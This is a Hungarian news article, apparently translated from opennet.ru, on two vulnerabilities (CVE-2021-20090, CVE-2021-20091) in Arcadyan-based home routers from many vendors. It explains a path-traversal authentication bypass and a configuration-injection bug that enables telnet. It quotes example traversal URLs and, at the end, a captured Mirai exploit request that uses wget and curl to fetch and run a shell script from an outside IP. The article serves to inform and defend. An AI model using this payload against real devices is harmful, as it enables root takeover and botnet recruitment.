Sebezőség a házi routerekben, tizenhét gyártót érintően

A hálózaton tömeges támadást regisztráltak a házi routerek ellen, melyekben az Arcadyan cég http-szerverének implementációja található. A készülékek irányítása érdekében egy két sebezőségből álló kombinációt alkalmaznak, amely lehetővé teszi a távoli kódvégrehajtást root jogosultságokkal. A probléma számos ADSL-routert érint, az Arcadyan, ASUS és Buffalo cégektől, valamint a Beeline (a probléma a Smart Box Flash esetében megerősítést nyert), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone és egyéb telekom szolgáltatók által forgalmazott eszközöket. Megjegyzik, hogy a probléma már több mint 10 éve jelen van az Arcadyan firmware-ekben, és ez idő alatt legalább 20 különböző gyártó 17 modelljében megjelent.

Az első CVE-2021-20090 sérülékenység lehetővé teszi, hogy bármely webinterfész scriptjére belépjenek hitelesítés nélkül. A sérülékenység lényege, hogy a webinterfész bizonyos mappái, amelyek képeket, CSS fájlokat és JavaScript szkripteket szolgáltatnak, hitelesítés nélkül is elérhetők. A mappák elérhetőségének ellenőrzése az alapmasként konfigurált útvonalak szerint történik. A „..\/” karakterek megadását a szülőkönyvtárba való átlépéshez a firmware blokkolja, de a „..” kombinációt átengedi. Így lehetőség nyílik védett oldalak megnyitására olyan lekérdezések küldésével, mint például „http:\/\/192.168.1.1\/images\/..index.htm”.

A második CVE-2021-20091 sérülékenység lehetővé teszi az azonosított felhasználó számára, hogy megváltoztassa az eszköz rendszerbeállításait a apply_abstract.cgi scriptnek kifejezetten formázott paraméterek küldésével, amely nem ellenőrzi a sortörés karakterek jelenlétét a paraméterekben. Például a támadó a ping művelet végrehajtásakor megadhatja a vizsgálandó IP-cím mezőben a „192.168.1.2ARC_SYS_TelnetdEnable=1” értéket, és a script a beállítási fájl létrehozásakor /tmp/etc/config/.glbcfg a következő sort fogja beírni: „AARC_SYS_TelnetdEnable=1”, amely aktiválja. szerver a telnetd-t, amely korlátlan hozzáférést biztosít a root jogosultságú parancssorhoz. Hasonlóan, a AARC_SYS paraméter beállításával bármilyen kód végrehajtható a rendszerben. Az első sérülékenység lehetővé teszi, hogy a problémás scriptet hitelesítés nélkül futtassák, ha „\/images\/..apply_abstract.cgi”-ra hivatkoznak.

A sebezhetőségek kihasználásához a támadónak lehetősége kell, hogy legyen kérést küldeni a hálózati portra, amelyen a webes felület fut. A támadás terjedésének dinamikája alapján sok szolgáltató hagy nyitva hozzáférést az eszközeiken a külső hálózatból a problémák diagnosztizálásának megkönnyítése érdekében. Ha a felülethez való hozzáférés kizárólag a belső hálózatra korlátozott, a támadás a külső hálózatból a „DNS rebinding” technika segítségével elvégezhető. A sebezhetőségeket már aktívan használják a Mirai botnethez való router csatlakozásra: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+ /tmp; wget http://212.192.241.72/lolol.sh; curl -O http://212.192.241.72/lolol.sh; chmod 777 lolol.sh; sh lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4

Forrás: opennet.ru

Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster